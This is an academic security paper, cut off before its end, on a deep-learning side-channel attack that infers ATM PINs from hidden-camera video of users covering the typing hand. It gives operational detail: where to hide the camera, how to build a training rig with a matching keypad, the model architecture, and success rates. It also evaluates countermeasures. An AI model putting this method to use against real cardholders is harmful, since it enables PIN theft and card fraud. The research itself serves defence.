Unfortunately, the attackers also improve their approaches
over time and consider more sophisticated attacks.

The security of ATM and PoS devices is of great concern as
millions of such devices are used [10]. Resourceful attackers
that succeed in attacking even a small percentage of those
devices can cause significant damage considering costs and
public perception. This problem is especially pronounced
as last years brought significant developments in the attack
techniques [2, 8, 25]. At the same time, attacking ATM or
PoS devices is not easy, especially if considering realistic set-
tings. Most of the state-of-the-art attacks can be defeated by
a careful user covering the PIN that is entered. Recent results
that consider thermal cameras are also difficult to succeed,
depending on the keypad type and the time users spend oper-
ating the device. The attacker can also use timing or acoustic

1https://sdw.ecb.europa.eu/reports.do?node=1000001407
2https://www.hsbc.com.hk/help/cybersecurity-and-fraud/atm-scams/
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attacks to infer information about the entered digits, but they
are not as effective as the state-of-the-art attacks since they
require additional information such as thermal residues [8],
making it challenging to apply realistically such attacks.

This work proposes a novel attack aiming to reconstruct
PINs entered by victims that cover the typing hand by the
other hand. More precisely, we leverage the advances in the
deep learning domain to develop an attack predicting what
PIN is entered based on the position of the user’s hand and
the movements while pressing the keys. Our attack gives
high accuracy rates even in the cases when the user perfectly
covers the typing hand. What is more, our attack reaches
higher accuracy values than previous works that needed to
consider several sources of the information at the same time
(timing, sound, and thermal signatures) [8].

Our attack considers a profiling setting where the attacker
has access to a PIN pad that is identical (or at least simi-
lar) to the one used by the victim. Then, we build a pro-
filing model that can predict what digit is entered on the
target device. This is the first attack on PIN mechanisms
that works even when the PIN is covered while being en-
tered to the best of our knowledge. Our attack demonstrates
that the ATM and PoS security mechanisms are insufficient,
and we must provide novel defenses to mitigate attackers.
We made our code and datasets publicly available at https:
//spritz.math.unipd.it/projects/HandMeYourPIN.

Main contributions

• We propose a novel attack to infer PINs from videos
of users covering the typing hand with their non-typing
hand.

• We demonstrate that our attack can reconstruct 30% of 5-
digit PINs and 41% of 4-digit PINs within three attempts,
showing that hiding the PIN while typing is insufficient
to ensure proper protection.

• We evaluate our attack via extensive experiments, collect-
ing videos of 5 800 5-digit PINs entered in a simulated
ATM by 58 participants. We conduct a study to assess
humans’ accuracy in inferring covered PINs from videos.
We show that our attack outperforms humans, achieving
a four-fold improvement on reconstructing 5-digits PINs
within three attempts.

• We pre-process our dataset, and we make it publicly
available to the research community. We hope this is
beneficial to understand the problem better and propose
possible solutions.

• We discuss several countermeasures that would make the
attack more difficult to conduct. We perform an analysis
on the attack performance when covering the PIN pad
(coverage 25%, 50%, 75%, and 100%) and show that at-
tacks are possible even when using this countermeasure.

2 Threat Model

The attack is performed when a victim interacts with a generic
ATM keypad and types the PIN. The ATM is equipped with a
PIN pad that emits a feedback sound when a key is pressed.
The feedback sound is the same for all the keys of the PIN
pad. The ATM is equipped with a monitor where obfuscated
symbols appear when users enter a PIN to mask the entered
digits. We do not assume that the ATM or its PIN pad have
been compromised during the attack. Our approach can be
considered an alternative to card-skimmer attacks since we
consider a different source of information to retrieve the PIN.
Usually, card-skimming attacks rely on fake PIN pads that
directly record the entered digits [30], while our approach
infers the PINs from a video.

2.1 Attacker
The attacker is a malicious user aiming to steal the victim’s
secret PIN. The attacker can place a hidden camera near the
ATM to record the PIN pad. We make no assumptions about
the type of camera used by the attacker except that it records
in the visible spectrum 3. We assume that the camera can
easily be hidden close to the ATM while keeping a direct
view of the PIN pad (i.e., a pinhole camera if the attacker has
access to the ATM 4 or any standard camera placed outside the
ATM chassis). We also do not assume any specific position
for the camera, but we discuss various camera placements’
advantages. We primarily consider the scenario where the
attacker uses only one camera, but we also discuss the attack
performance when using multiple cameras.

The attack may take place together with different card steal-
ing approaches: i) card skimming both on chip [7] or magnetic
stripe [30] (currently, the two payment-enabling technologies
work together [9]), ii) exploiting a relay attack on a contactless
card [14], and iii) physically stealing the victim’s card.

We assume a profiling side-channel attack where the side-
channel information comes from the video of the victim’s
hand while entering the PIN. More precisely, side-channel
information is the position of the victim’s hand and the hand
movements (both moving the hand/fingers to reach different
keypads or movements observable due to muscle movements
while a certain keypad is pressed). The attacker can record
a number of PINs entered on a copy of the ATM device and
train a profiling model to predict what key is pressed. The
attacker can retrieve the timestamps when the victim has
typed the single keys on the keypad and can do so by listening
to the audio of the video recording. There are two different
types of sound clues that the attacker can exploit: the first
one is the feedback sound made by the keypad when a key is
pressed [8], the second one is the sound of the physical button

3We will use cheap and easily-concealable video sensing equipment,
where standard RGB cameras fit such requirements.

4https://www.sperrywest.com/cameras/
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of the keypad that is pressed. External noise does not prevent
the attacker from extracting the keypresses, as the camera is
close enough to the keypad. As such, the sound can still be
identified in the audio track. If, for any reason, the attacker
has no way to retrieve the timestamps from the recorded
audio (or if there is no audio at all), it is possible to place
the camera to record both the keypad and the screen of the
ATM [2]. This allows the attacker to extract the keypresses’
timing by looking at the PIN masking symbols appearing on
the screen. Common masking symbols are usually dots and
asterisks. The attacker can use any method to build a profiling
model to predict what keys are pressed. We consider the top
three predictions as a measure of success since most ATMs
will allow entering the PIN three times before blocking the
card. Finally, we do not assume that the PIN has any specific
structure (pattern) that could be used to improve the attack
performance further.

2.2 Victim
We assume that the victim adopts basic countermeasures
against card-skimming attacks, such as covering the hand
while entering the PIN. The attacker does not need to be there
when the victim types the PIN, as the attacker can freely
access the camera’s recorded video, either remotely or at a
different time.

3 Attack Approach

Our attack assumes that the attacker has access to a train-
ing device and controls the PIN selection. Additionally, the
attacker knows the layout of a target device and will select
the training device to be similar. The attacker does not know
the specific person to be attacked or the PIN for the attacked
device.

3.1 Attack Phases
We can divide the attack into three phases: Phase A – Training,
Phase B – Video Recording, and Phase C – PIN Inference.
Figure 1 shows the required steps for the attack.

Phase A – Training
The attacker selects an ATM as the target of the attack.

Next, the attacker sets up a replica of the target ATM. This
replica does not have to be a faithful copy of the original,
as our model takes in as input a crop around the keypad
of the ATM. Therefore, the attacker must use a keypad
similar to the one on the target ATM. The best situation
is when the attacker can retrieve the same PIN pad model.
Alternatively, the attacker can also use PIN pads that differ
slightly (e.g., the key spacing can vary by a few millimeters).
Note that the layout of ATM PIN pads has to follow the

Keystroke timestamp
identification

PIN Inference

Hidden camera
positioning

Victims recording

Videos retrieval

ATM Replication

Train data collection

Training

Model Training

Video Recording

Keys labels
Prediction

PIN Ranking

Labels
53776
87326...

Figure 1: The attack step-by-step. The data collection process
does not necessarily need to happen before the attacker steals
the victim’s PIN. Still, it is a required step of the attack.

ISO 9564 standard [18]. The attacker uses the ATM replica
to build the training set, simulating the victim’s behavior
while entering the PIN (i.e., covering the typing hand). The
attacker must enter sequences of PINs on the replica PIN pad,
including all ten digits (i.e., all the digits must be included
in the training set). Without losing generality, the attacker
can use a USB PIN pad that logs the keys pressed and the
corresponding timestamps. The attacker uses this information
to segment the videos and labels them. Leveraging the logs,
the attacker builds a training set containing, for each key
pressed, a sequence of frames and the corresponding label
(digits). Finally, the attacker trains the predictive model on
the collected training set. For a detailed discussion on the
implemented model, we refer readers to Section 4.5.

Phase B – Video Recording
The attacker hides a camera near the target ATM to record

the PIN pad. There are multiple places where the camera can
be placed, and depending on this, the attack can be easier or
more challenging to succeed. The camera records the victim
while entering the PIN and covering the PIN pad with the
non-typing hand. The attacker retrieves the recorded video
from the remote camera.

Phase C – PIN Inference
The attacker’s goal is to infer the victim’s PIN based on

the video recorded during the PIN entering. First, the attacker
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retrieves the timestamps from the recorded video. The at-
tacker can use both the pressed keys’ feedback sound or the
masking symbols appearing on the screen while the victim
enters the PIN to perform this task. Leveraging the times-
tamps, the attacker performs the same procedure as in Phase
A to generate an attack set. Differing from the training set,
the attack set contains a sequence of frames for each victim
key pressed but no information about the related label. The
adversary detects in the attack set the frames corresponding to
a PIN entry, and splits the video into N sub-sequences where
N represents the number of digits composing the PIN. For
each sub-sequence, the adversary applies the model trained
in Phase A. The model provides the probability of each class
(i.e., the ten possible digits) to be the one corresponding to
the input sub-sequence. Exploiting the N sub-sequences pre-
dictions, the attacker builds a rank of PINs in the descending
order of their probabilities. In particular, the probability of a
PIN corresponds to the product of the predicted probabilities
of its digits.

3.2 Attack Settings

We consider three realistic attack scenarios:
1. Single PIN pad scenario: the attacker knows the model

of the target PIN pad and obtains a copy of it to carry out
the training phase. While this scenario may seem unreal-
istic, we note it is not difficult to obtain a specific keypad
copy. Indeed, the attacker can easily obtain information
about the ATM to be attacked and then buy the keypad
with the same layout. Naturally, there can be certain
differences concerning how sensitive the keypad is (for
instance, due to usage, pads can become somewhat more
difficult to press), but our experiments indicate such dif-
ferences are not substantial enough to pose issues for
deep learning models.

2. PIN pad independent scenario: this is the most chal-
lenging scenario. The attacker does not know or cannot
retrieve the model of the target PIN pad. The training
phase is performed on a PIN pad with similar character-
istics to the target (e.g., shape, distance between keys,
keys layout, and the sensitivity of keys).

3. Mixed scenario: as for the Single PIN scenario, the at-
tacker knows the target PIN pad model. In this case, the
training is performed on two PIN pads: a copy of the tar-
get and at least one PIN pad with similar characteristics.
Considering several keypads in the training set makes
sense when 1) the attacker is not certain about the keypad
model, 2) the attacker assumes that the keypad will be-
have differently due to environmental conditions, 3) the
attacker aims to attack multiple types of keypads (ATMs)
with the same machine learning model, and 4) for any
reason, the attacker did not manage to obtain enough
training examples with a single keypad. We also note
that using more keypads in the training set makes the

training process more difficult and reduces the chances
to overfit (i.e., we can consider different keypads as one
keypad with noise, having the regularization effect [6]).

3.3 Camera Positions
Since our threat model allows the arbitrary position of the cam-
era, we discuss several representative scenarios. We consider
positions at the top of the ATM preferable for the attacker
as lower positions of the camera result in no visibility of the
hand pressing the keys if the other hand is covering it. We
also consider settings at the front side of the chassis as they
give better visibility for the attacker and are significantly more
difficult for the victim to notice the camera.

Then, without loss of generality, we can discuss three main
positions for the camera to provide good results. The camera
can be positioned in the top left, center, or right corner. If
the camera is positioned in the right corner and the person
entering the PIN is right-handed, it will be easier to observe
the entered digits. The same happens for the camera in the
left corner and the left-handed person. However, if the camera
is in the center position, it does not favor any specific set-
ting, making it the most general setting, but it also makes it
somewhat more challenging to conduct the attack than the
left/right position and left/right-handed persons. We will con-
centrate on the top center position of the camera mounted on
the chassis’s front side.

4 Experimental Setting

To assess the feasibility of our attack on all the scenarios
described in Section 3, we collected two datasets containing
videos of people covering their typing hands while entering
PINs. This section first illustrates the differences between
the considered PIN pads and then describes our data collec-
tion procedure. Finally, the adopted video pre-processing, the
setup used to run the experiments, and the implemented deep
learning models are presented.

4.1 Devices under Test
We performed two separated data collection campaigns on
two different real-world ATM metal PIN pads: DAVO LIN
Model D-8201 F 5 (Figure 2a) and Model D-8203 B 6 (Fig-
ure 2b). In particular, we report the following differences
between the two PIN pads:

• Model D-8201 F has a dimension of 100 mm x 100 mm,
while Model D-8203 B has a metal surface of 92 mm x
88 mm and is contoured by rubber protection.

5https://www.davochina.com/4x4-ip65-waterproof-industrial-metal-
keypad-stainless-steel-keyboard-for-access-control-atm-terminal-vending-
machine-p00103p1.html

6https://www.davochina.com/4x4-ip65-stainless-steel-numeric-metal-
keypad-with-waterproof-silicone-cover-p00126p1.html
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• The horizontal key spacing is 1 mm larger between each
key in Model D-8203 B.

• The keys of Model D-8203 B are harder to press and
slightly taller than Model D-8201 F.

• For usability reasons, both the PIN pads emit a specific
feedback sound (the same for all keys) when a key is
pressed. The frequencies of the feedback sounds are
2 900 Hz for Model D-8201 F and 2 500 Hz for Model
D-8203 B.

For the data collection, we embedded the PIN pad into a simu-
lated ATM (see Figure 3). We chose the simulated ATM’s size
based on a real-world ATM [16]. In particular, the simulated
ATM has a width of 60 cm, a height of 64 cm, and a depth of
40 cm. At 15 cm of height from the frame’s base, we inserted
a shelf to position the PIN pad and the monitor. The height of
the PIN pad from the ground is 110 cm. We used three Log-
itech HD C922 Pro webcams anchored on the ATM’s chassis
to perform the video recording. A central webcam was placed
30 cm above the PIN pad, while the other two webcams were
placed on the two top corners of the chassis 42 cm away from
the PIN pad. The camera’s maximum resolution is 1 080p
with an acquisition rate of 30 fps. We recorded the videos
with a resolution of 720p and an acquisition rate of 30 fps.

(a) DAVO LIN Model D-8201
F

(b) DAVO LIN Model D-8203 B

Figure 2: The PIN pads used in the data collection.

4.2 Data Collection
The first data collection involved 40 participants (age 38.23±
11.43, 24 male and 16 female). The second data collection
involved 18 participants (age 29.50±5.74, ten male and eight
female). Both collections include right-hand participants only.
All the participants gave their approval to collect and use the
data by signing informed consent. All the data have been
anonymized and used by the authors of this paper for research
purposes only. Participants were asked to stand in front of the
test ATM and cover the typing hand while entering the PIN
during the experiment. The participants were left free to type
as they pleased. The goal is to emulate an ATM user that is
hiding the PIN, preventing possible shoulder-surfing attacks.
Each participant typed 100 5-digits PINs randomly gener-
ated, divided into four sequences of 25 PINs. This split into

four sequences has been performed to include short breaks
in the experiments and prevent the participants from getting
tired. The PINs were showed one at a time on the ATM
screen: once a PIN has been entered on the PIN pad, the user
had to press the enter button to move to the next PIN. We
recorded a total of 5 800 random 5-digit PINs, resulting in a
balanced dataset per digit. Since our study aims to reconstruct
the PIN from the video sequence, regardless of the user’s
typing behavior and familiarity with the PIN or the PIN pad,
we decided to randomize PINs rather than asking users to
enter the same PIN multiple times. This approach general-
izes the attack, which can be applied to mnemonic PINs and
One-time Passwords (OTPs). Moreover, we collected the en-
vironmental audio (exploiting the webcam microphone) and
the keylogs of the PIN pad through the USB interface during
the experiment. In particular, for each digit entered, we collect
both the key down and key up events. We synchronized the
video recordings with the timestamp of the key events. This
information was collected to build the ground truth for the
conducted experiments. The dataset is available at https:
//spritz.math.unipd.it/projects/HandMeYourPIN.

Figure 3: Our experimental setup. The cameras are visible
but they can be hidden into the frame of an ATM. In all other
aspects, we reproduced a common ATM layout in detail.

4.3 Pre-processing Video
Once the data acquisition phase is done, we need to pre-
process the videos. For each video frame, we applied the
following steps: i) convert the video frames to grayscale; ii)
normalize the input so that all pixel values lie in the range
[0,1]; iii) crop the frames by centering the PIN pad, cutting
off the irrelevant part of the background; (iv) resize the image
to 250 x 250 pixels. After these steps, we applied a segmen-
tation on each PIN video to obtain sub-sequences of frames
corresponding to a single keypress (e.g., 5 sub-sequences for
a 5-digit PIN). We extracted the keypress’s timestamp from
the recorded feedback sound of the PIN pad following the
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procedure explained in [8]. In particular, we filtered the au-
dio signal using a band-pass filter, centered on the specific
frequency of the feedback sound (i.e., 2 900 Hz for Model
D-8201 F and 2 500 Hz for Model D-8203 B). By identifying
the peaks of the filtered signal, we could detect the timestamp
of the target key (TK). This allowed us to extract a set of
frames in each TK neighborhood. For each TK, the maxi-
mum number of frames (full-neighborhood) consists of all
the frames ranging from the key preceding the TK to the key
following the TK. If the TK corresponds to the first digit of
the PIN, we consider only the frames between the TK and
the next keypress. Analogously, if the TK corresponds to the
last digit of the PIN, the frames considered are only those
between the TK and its previous keypress. Since our model
requires all input samples to have the same length, we decided
to keep 11 frames for each sample. This value corresponds to
the average number of frames in the full-neighborhood after
removing the outliers over 3σ. To keep the TK at the center of
the frames’ sequence, we decided to consider five frames pre-
ceding the target keypress and five frames succeeding it, for
a total of 11 frames per sample (including the target frame).
There are three borderline cases: the TK is the first digit in
the sequence, the TK is the last digit in the sequence, and the
full-neighborhood has less than 11 frames. We apply black
frame padding to keep the TK at the center of the sequence for
these cases. In particular, if the TK is the first digit of the pin,
five black frames are added at the head of the sequence, while
if TK is the last digit of the PIN, we add five black frames at
the end of the sequence. Finally, if there are not 11 frames in
a sequence, we pad both the head and the tail (so that the TK
is at the center).

4.4 Machine Learning Setup
For our experiments, we used a machine equipped with a
CPU Intel(R) Xeon(R) E5-2670 2.60GHz, 128GB of RAM,
and three Tesla K20m where each GPU has 5 Gb of RAM.
To implement the machine learning models, we used Keras
2.3.0-tf (Tensorflow 2.2.0) and Python 3.8.6.

4.5 Prediction Models
Our approach aims to predict which key has been pressed on a
PIN pad, exploiting only the video of a user covering the typ-
ing hand with the other hand. Since we deal with sequences of
images, we implemented a model using Convolutional Neu-
ral Networks (CNNs) [24] and a Long Short-Term Memory
(LSTM) [15]. The CNNs perform spatial feature extraction
for each frame of a sequence, while the LSTM exploits these
features to extract temporal patterns for the whole sequence of
frames. The output of the LSTM passes through a multilayer
perceptron (MLP) and a final Softmax activation function
layer with ten units (as there are ten digits). This model is
known in the literature as Long-term Recurrent Convolutional

Network (LRCN) [11]. In Keras [20], such architecture can be
implemented using the TimeDistributed wrapper throughout
all the CNNs layers, which causes the same convolutional
filters to be applied to all the timesteps (i.e., the frames) of
the input sequence.

We split our dataset into train, validation, and test sets. Each
set’s size depends on the attack scenario and is discussed in
detail in Section 5. We explored different hyperparameters
by using the randomized grid search. Based on a preliminary
assessment, we set the ranges for specific hyperparameters
(i.e., we limit the upper value for specific hyperparameters)
to speed up the search. In particular, for the CNNs, we tested
[3x3,6x6,9x9] kernel sizes. We also varied the number of
convolutional layers in the range [1, . . ., 4]. In the follow-
ing dropout layer, we varied the dropout rates in the range
[0.01,0.05,0.1,0.2]. For the LSTM architecture, we varied
the number of layers in the range [1, . . ., 3], and the unit size
in [32,64,128,256]. We also assessed our network’s perfor-
mance using a Gated recurrent unit (GRU) instead of the
LSTM. Finally, we examined the number of layers for the
MLP in the range 1 to 4 and the number of units in the range
16,32,64,128. We tried two types of architectures for MLP:
i) all the layers have the same number of units, ii) layers with
decreasing number of units (funnel architecture), with every
next layer having half the units of the previous one.

After a tuning phase, we selected a structure consisting
of four convolutional layers (Conv2D in Keras) with ReLU
activation functions, each followed by a pooling layer (Max-
Pooling2D in Keras). Three convolutional layers have a filter
size of 3x3, and one (the second one) has a filter size of 9x9.
Each pooling layer has a filter size of 2x2. The number of
filters in the convolutional layers doubles at each layer, start-
ing from 32 filters in the first layer, ending up at 256 filters in
the fourth layer. We added a dropout layer (dropout rate 0.1)
after the last pooling layer to prevent overfitting. The output is
then flattened, preserving the temporal dimension to provide
a sequence of temporal features to the following LSTM. A
single layer LSTM with 128 units resulted in the best vali-
dation with a hyperbolic tangent activation function. Finally,
for the MLP, we used four fully connected layers, with 64
units each, followed by the Softmax activation layer with ten
units (i.e., the number of classes we want to predict). We used
the categorical cross-entropy loss function and the stochastic
gradient descent (SGD) optimizer. Finally, we set the model
to evaluate the accuracy metric. We set the batch size to 16
and the learning rate to 0.1. We tested for 70 epochs since we
found that the model always converged within this number
of epochs. In Appendix A, we provide additional details. Our
experiments indicate that the classification task we conduct is
relatively difficult, and one needs to use sophisticated deep
learning architecture for good results. Still, we note that the
architecture we use is in line with the state-of-the-art results
for hand tracking problem [17, 23]. Finally, we observed sig-
nificant changes in the performance depending on the specific
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hyperparameter choice, indicating a need for detailed tuning
for the respective tasks.

In a real-world context, it might not be possible to repro-
duce precisely the experimental conditions (e.g., the camera
might be rotated/tilted slightly concerning the PIN pad, or the
distance to the PIN pad might not be the same). Thus, we also
used data augmentation to generate synthetic measurements
(20% of the training dataset) that cover more scenarios to
account for such issues. In particular, we used the following
video-based transformations:

• rotation for a maximum of 7deg both clockwise and
counterclockwise;

• horizontal shift for a maximum of 10% of the width;
• vertical shift for a maximum of 10% of the height;
• zoom between 0.9 and 1.1.

Synthetic samples were generated by randomly combining the
transformation techniques listed above. We emphasize that
data augmentation is also helpful as it makes the predictive
model adaptable to different types of ATMs.

5 Experimental Results

In this section, we evaluate the performance of our approach
for the three attack scenarios described in Section 2. We
adopted a user-independent split strategy since, in a realistic
context, the attacker does not have labeled videos of victims
entering PINs. In this way, we guarantee that videos from a
participant appear only once among the three sets. Moreover,
since we are interested in evaluating the PINs reconstruction
accuracy, we removed all non-5-digit sequences entered by
mistake by participants (i.e., the ”enter“ key was pressed after
a sequence longer or shorter than 5-digits.) The removed non-
5-digits sequences account for 2.2% of the total PINs entered.
We conducted the experiments on both 4-digits and 5-digits
PINs. To experiment on 4-digit PINs, we removed the last
digit of each 5-digit sequence in our dataset.

We define that a PIN is covered when there is no direct view
of the entered keys and their surrounding. Still, we observed
that some participants failed to obtain a satisfactory coverage
level with the non-typing hand despite our instruction before
starting the data collection. Since this study aims to infer cov-
ered PINs, we decided to exclude the videos of participants
that entered badly covered PINs from the validation and test
sets. In this way, the validation and test sets consist of videos
of covered entered PINs, while the training is composed of
videos containing both covered and badly covered PINs. Note
that badly covered PINs are still difficult to “read” by sim-
ply looking at the video, so we consider such data useful in
building a training set. For the test set, we aim for the most
difficult scenario where PINs are properly covered. Under
these assumptions, we ”blacklisted“ 16 participants that badly
covered the PIN pad: 14 for the first data collection and two
for the second data collection. These participants have been
excluded from validation and test sets described in the below

(a) Badly covered PIN that we ex-
cluded from the validation and test
tests.

(b) Covered PIN, where there is no
direct view of the pressed key and
the surrounding digits.

Figure 4: Badly covered vs. covered PINs.

scenarios 7. In Figure 4, we provide an example of a badly
covered PIN and a covered PIN.

To obtain a further indication of the quality of coverage and
the difficulty of reconstructing a PIN by a human, we surveyed
a random sub-sample of videos of covered PINs (Section 7).
Finally, there is a question of how to predict the PIN that is not
guessed correctly from the first attempt. Since we consider
each digit independently, we consider a mechanism where
our best guess comprises of individual best guesses (for each
digit). If that PIN is incorrect, we consider the digit where the
two best guesses have the smallest difference. We change that
digit to the second-best guess in our PIN, and we try again.
The same procedure is repeated for the third attempt if the
second PIN is wrong.

1. Single PIN pad scenario. To evaluate the scenario
where the adversary knows the target PIN pad model
and owns a copy, we considered only the first data col-
lection composed of 40 participants. We applied a user-
independent split of the dataset in training, validation,
and test sets with the proportions 80/10/10%.

2. PIN pad independent scenario. In this scenario, the
adversary trains the machine learning model on a PIN
pad with a similar layout to the target one. This scenario
occurs when the attacker cannot obtain the same PIN
pad model to collect data. Under these assumptions, we
used for training and validation the first collected dataset
(composed of 40 participants). We included the videos
from 35 participants in the training set and the remaining
5 participants’ videos in the validation set. We used the
second collected dataset as the test set. We included only
the videos of 16 out of 18 participants of the second data
collection in the test set since two were in the group that
badly covered the PIN pad.

3. Mixed scenario. This scenario corresponds to how the
attacker owns both a copy of the target PIN pad and
a PIN pad similar to the target one. In this case, we

7Results are in Appendix C
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(a) True digit = 7
Pred = 7 (0.999), 4 (0.000),
8 (0.000)

(b) True digit = 3
Pred = 3 (0.979), 2 (0.012),
6 (0.005)

(c) True digit = 6
Pred = 6 (0.819), 9 (0.170),
8 (0.009)

(d) True digit = 3
Pred = 3 (0.809), 2 (0.092),
5 (0.069)

(e) True digit = 3
Pred = 2 (0.329), 3 (0.315),
6 (0.185)

Figure 5: PIN 73633 entered by a user in our test set in the Single PIN pad scenario. Our algorithm suggests 73632 as the most
probable PIN (probability = 21.32%), 73633 as the second most probable PIN (probability = 20.43%), and 73636 as the third
most probable PIN (probability = 11.96%). The algorithm predicts the correct PIN in the second attempt.

merged the two collected datasets and applied a user-
independent split in training, validation, and test sets
with the proportions 80/10/10%.

We begin the discussion on results by providing an example
of a successful PIN attack in Figure 5. We consider the 5-
digit PIN case and the Single PIN pad scenario. We provide
an image for each digit. We give the top three digits and
the corresponding accuracy values. Notice how the first and
second digits are predicted correctly with high probabilities.
This happens as the person sets the hand to allow an easy start
of typing. Already for the third digit, we observe a significant
drop in the accuracy value for the best prediction. Still, the
value is significantly larger than the second-best prediction,
so there are no issues in getting the correct prediction. This
trend continues for the fourth digit and gets very pronounced
for the last (fifth) digit. Indeed, the best guess is not correct
anymore, but the second-best guess is correct (the difference
in probability between those two guesses equals 0.014).

For all three scenarios, Figure 6 shows the results for the
single key accuracy, while Figure 7 reports the results con-
sidering 5-digit and 4-digit PINs. Considering the single key
accuracy (averaged over all digits), notice that even in the
most difficult PIN pad independent scenario, our Top-3 ac-
curacy reaches 63.8%, which is significantly higher than the
result one would reach with random guessing (30%). At the
same time, the results for the Single PIN pad scenario and
the Mixed scenario are rather similar, and the Top-3 accuracy
reaches up to 88.7%. Interestingly, we observe somewhat bet-
ter results for Top-2 and Top-3 accuracy for Single PIN pad
scenario than the Mixed scenario, which is the opposite of the
results for 4-digit and 5-digit settings. We hypothesize this
happens as we consider independent digits as naturally, the
best results happen when the training and test are done on
the same device. On the other hand, the Mixed scenario gives
slightly better results for the PIN reconstruction scenarios as
we need to consider a sequence of PINs with the movement
between digits. Then, having different devices in the training

set allows (slightly) better generalization.
In Figure 7a, we observe that the most difficult case is when

the attacker does not have access to the same keypad as used
by the victim. There, the accuracy for the Top-3 case equals
11.4%. Having access to the same type of keypad improves
accuracy in Top-3 to more than 20%. Finally, considering the
Mixed scenario, we can improve the accuracy for Top-3 to
almost 30% (29.7%). Next, in Figure 7b, we present results for
4-digit PINs. The results are significantly better than for the
5-digit scenario. The lowest accuracy happens for the Top-1
PIN pad independent scenario setting and it equals 10.6% (cf.
6.7% for the 5-digit scenario). The highest accuracy reaches
41.1% for the Top-3 accuracy in the Mixed scenario.

Single
PIN pad

PIN pad
Independent

Mixed
0.0

0.2

0.4

0.6

0.8

1.0

Ac
cu

ra
cy

Top-1 Top-2 Top-3

Figure 6: Single key accuracy of our algorithm for the three
considered attack scenarios. Top-N means that we guessed
the digit within the N attempts.

In Figure 8, we depict detailed results for the digit 1. We
selected this digit since heat maps for others look similar and
exhibit similar dispersion. First, in Figure 8a, we show the
PIN pad layout. Figure 8b gives results for the Single PIN pad
scenario. Notice that the heat map indicates that guess 1 is the
most likely one with 67% probability. The digits 4 and 3 are
recognized as the second and third best guess, respectively.
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(a) 5-digit PINs.
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(b) 4-digit PINs.

Figure 7: PIN accuracy of our algorithm in the three consid-
ered attack scenarios. Top-N means that we guessed the PIN
within the N attempts.

Still, their probability is significantly lower. For the PIN pad
independent scenario, we observe that the probabilities are
more spread over all digits, which comes at the expense of a
lower prediction probability for the correct digit. The second
and third best guesses maintain the probabilities, indicating
that Top-3 guesses are sufficient to guess a large number of
PINs in the most difficult scenario. Finally, Figure 8d gives re-
sults for the Mixed scenario, where we see that the best guess
is on the level with the Single PIN pad scenario. Interestingly,
now the second and third best guesses are swapped compared
to the previous scenarios. All the other digits have 0 or neg-
ligible probability of being the correct digit. Appendix B
provides additional results for the key accuracy.

Based on our results, we provide several observations that
we believe generalize beyond these experiments:

• Covering the PIN pad with the other hand is not sufficient
to defend against deep learning-based attacks.

• Portability aspect (keypad differences) is quite signif-
icant, and the attacker should obtain the same type of
keypad for a high probability of success in attack.

• There are three prevailing ways how users cover the
typing hand: raised hand not touching the surface, hand

(a) Layout of a generic PIN pad.
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(b) Single PIN pad scenario.
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(c) PIN pad independent scenario.
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(d) Mixed scenario.

Figure 8: Digit 1 predictions heat maps for the three consid-
ered attack scenarios.

resting on fingers and vertically covering the PIN pad,
and hand resting on the side of the palm. The examples
of all three covering strategies are shown in Figure 9.

Finally, Table 1 provides a comparison between our attack
and several unobtrusive attacks on 4-digit PINs from the liter-
ature [8]. We divided the attacks according to the information
that the attacker has: keystroke timing (KT), one digit of the
victim’s PIN (OD), and the thermal trace (TT) left on the PIN
pad by the victim [1]. From the results, it is clear that our
attack performs the best for all considered TOP-N accuracies.

Appendix C provides experiments where we: i) resize the
images, ii) consider different camera positions, iii) consider
setup without data augmentation, and iv) consider the training
set that includes the blacklisted participants. Finally, we also
provide experiments for the frame detection error (when the
feedback sound is not properly synchronized).

6 Countermeasures

Different countermeasures could make the attack more diffi-
cult to succeed. For instance:

1. Longer PINs. This countermeasure would make the at-
tack more difficult, as evident from the comparison for
4- and 5-digits PINs. This countermeasure would be
relatively easy to support from a technical perspective.
At the same time, it would have usability drawbacks as
longer PINs take more time to type and are more difficult
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(a) Side: hand resting on the side of
the palm.

(b) Over: raised hand not touching
the surface.

(c) Top: hand resting on fingers and
vertically covering the PIN pad.

Figure 9: Different covering strategies using the non-typing hand.

Attacker Information
Source

4-digit PINs
TOP-N Accuracy (%)

KT OD TT Our Attack TOP-1 TOP-2 TOP-3

0.01 0.02 0.03
§ 0.10 0.20 0.30

§ 0.02 0.35 0.72
§ § 3.02 3.72 4.36

§ 3.76 7.52 11.28
§ § 15.54 27.79 33.63

§ 29.61 37.06 41.12

Table 1: Comparison of our attack with other unobtrusive
attacks on ATM PIN pads. Note that we need to extract the
frame for our attack, while for KT, one needs to use the times-
tamp, which is more precise information.

to remember.
2. Virtual and randomized keypad. Instead of using a me-

chanical keypad, one could consider using a touchscreen
where the digits are randomized. More and more ATMs
(but not PoS) have this feature, so implementing it would
not be too difficult. Unfortunately, we believe this would
seriously damage the usability aspect as people are ac-
customed to digits occurring in the natural sequence, and
any changes would probably result in wrongly entered
PINs.

3. Screen protectors. On many ATMs, there are already
various types of screen protectors that occlude the typing
hand. To maintain usability, many screen protectors are
short and will not cover the whole typing hand. Making
the screen protectors larger would impair usability as it
will become more difficult for the user to read the keypad.
This countermeasure is potentially not easy to deploy as
it requires physical changes to the ATMs.

Next, we analyze how a PIN shield could affect the perfor-
mance of our attack. We simulated the presence of the shield
by applying a black patch to cover the PIN pad. In Table 2

Coverage Key PIN TOP-3
percentage accuracy accuracy

25% 0.54 0.22
50% 0.55 0.22
75% 0.50 0.17
100% 0.33 0.01

Table 2: PIN shield experiments.

we report the performance of our attack in the Mixed sce-
nario, applying four different levels of coverage (Figure 16,
Appendix C). The coverage of the PIN pad is larger than the
percentage shown in Figure 16 since the coverage given by
the non-typing hand is not included in the given percentage.
The results show that our attack remains effective even when
75% of the PIN pad is covered, while the performance de-
cays significantly beyond this level of coverage. As such, it
becomes clear that our deep learning attack uses information
about the whole hand position and movement, and not only
the tip of the fingers. Since the last row of the PIN pad has
only one number (0), 100% coverage has poor attack results
not only because of hiding all the numbers on the keypad
but due to hiding of proximal interphalangeal, metacarpopha-
langeal, and carpometacarpal joints of the fingers. Thus, only
PIN shields that offer full PIN pad coverage can be considered
effective countermeasures to our attack.

We provide additional results with different covering strate-
gies (Side, Over, and Top) in Appendix C. Those results
again show that covering the PIN pad from the Side gives
insufficient protection. On the other hand, using the Over
strategy significantly decreases the key accuracy and PIN
accuracy.

7 Deep Learning vs. Humans

If an attacker has direct visibility of the PIN pad, reconstruct-
ing a PIN from a video can be considered a trivial task. One of

